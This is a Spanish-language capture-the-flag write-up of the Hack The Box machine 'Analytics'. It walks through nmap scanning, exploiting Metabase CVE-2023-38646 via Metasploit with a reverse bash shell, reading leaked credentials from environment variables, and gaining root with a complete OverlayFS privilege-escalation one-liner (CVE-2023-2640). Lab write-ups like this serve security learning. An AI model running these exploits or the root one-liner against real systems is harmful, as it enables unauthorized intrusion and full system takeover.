Introducción
Muestro como comprometer la máquina Analytics de la plataforma Hack the box.
Crear entorno de trabajo
Creamos los directorios de trabajo.
Dirección IP de la máquina
- Ip address => 10.10.11.233
Detectar Sistema Operativo
Utilizamos la herramienta Ping para detectar ante que sistema operativo estamos. Al tener un TTL cercano a 64 podemos deducir que estamos ante un equipo Linux.
- 1 => TTL 63
Escaneo con Nmap
Realizamos un primer escaneo con Nmap para detectar los puertos abiertos en el equipo.
sudo nmap -p- --open -Pn -n -T5 -vvv 10.10.11.233
nmap
: Este es el comando principal para ejecutar Nmap.-p-
: Este parámetro indica a Nmap que escanee todos los puertos en el rango 1-65535. El guion indica un rango de puertos, en este caso, todos los puertos posibles.--open
: Este parámetro hace que Nmap solo muestre los puertos que están abiertos, es decir, aquellos en los que se detecta actividad.-Pn
: Este parámetro indica a Nmap que no realice la detección de hosts y que trate todos los hosts como si estuvieran activos. Esto puede ser útil cuando se exploran redes donde la detección de hosts puede no ser confiable.-n
: Este parámetro indica a Nmap que no realice la resolución de DNS durante el escaneo. En lugar de buscar nombres de host, mostrará direcciones IP directamente.-T5
: Este parámetro establece la velocidad del escaneo en el nivel 5, que es el nivel más alto de velocidad. Un escaneo más rápido puede aumentar la posibilidad de detección, pero también puede ser más intrusivo.-vvv
: Este parámetro aumenta el nivel de verbosidad del escaneo. Cuantos más «v» se agreguen, más detallada será la salida y se mostrará más información sobre el progreso del escaneo.
Obtenemos los puertos 22 y 80 abiertos.
Escaneo Nmap para sacar las versiones de los puertos y scripts de reconocimiento
sudo nmap -p22,80 -sCV 10.10.11.233
- 1 => 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
- 2 => 80/tcp open http nginx 1.18.0 (Ubuntu)
Agregamos el dominio analytical.htb al archivo /etc/hosts
10.10.11.233 analytical.htb
Visualizamos la web en el navegador
A simple vista podemos ver que en el apartado Team tenemos unos posibles usuarios.
- Jonnhy Smith – Chief Data Officer
- Alex kirigo – Data Engineer
- Daniel Walker – Data Analyst
También se puede ver que tenemos un apartado de Login, en el cual, si pinchamos en el enlace nos lleva al dominio data.analytical.htb. Debemos introducir este dominio al archivo /etc/hosts para poder visualizarlo.
# /etc/hosts
10.10.11.233 analytical.htb data.analytical.htb
Visualizar apartado Login
Mirando el apartado de Login podemos ver que estamos ante la plataforma Metabase, por lo que procedo a investigar si existe algún tipo de vulnerabilidad en esta plataforma.
Mirando en internet he encontrado esta posible explotación.
Enlace: https://www.cvedetails.com/cve/CVE-2023-38646/
Será necesario utilizar metasploit para llevar acabo el ataque.
Metasploit
Iniciamos el servicio postgresql.
sudo service postgresql start
En caso que no tengamos la base de datos de metasploit creado debemos crearla ejecutando el siguiente comando.
sudo msfdb init
Ejecutamos el comando msfconsole.
msfconsole
Realizamos la búsqueda con el término metabase.
search metabase
Utilizamos el exploit metabase_setup_token_rce.
- 1 => Nombre del exploit
- 2 => Seleccionamos el exploit
- 3 => Vemos la opciones de configuración
Configuramos el exploit.
set RHOSTS http://data.analytical.htb
set RPORT 80
set LHOST 10.0.0.1
Configuramos el payload.
set payload cmd/unix/reverse_bash
- 1 => RHOSTS – http://data.analytical.htb
- 2 => RPORT – 80
- 3 => Payload – cmd/unix/reverse_bash
- 4 =>LHOST – Dirección Ip local
- 5 => LPORT – Puerto local
Ejecutamos el exploit y esperamos que nos entable la revershell.
exploit
Mirando las variables de entorno con el comando env aparece el usuario META_USER (metalytics) y la contraseña META_PASS (*********).
Conexión por ssh
ssh metalytics@10.10.11.233
Obtenemos la flag del usuario.
Escalada de privilegios
Buscamos la versión del sistema operativo con el comando.
uname -a
Procedo a buscar posibles vulnerabilidades para la escalada de privilegios en la versión 22.04.2 de Ubuntu SMP.
CVE 2023-2640
Fuente: https://www.cvedetails.com/cve/CVE-2023-2640/
Exploit
Ejecutamos la siguiente línea de código en la shell de ssh y obtenemos privilegios de root.
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash")'
Obtenemos la flag del usuario root.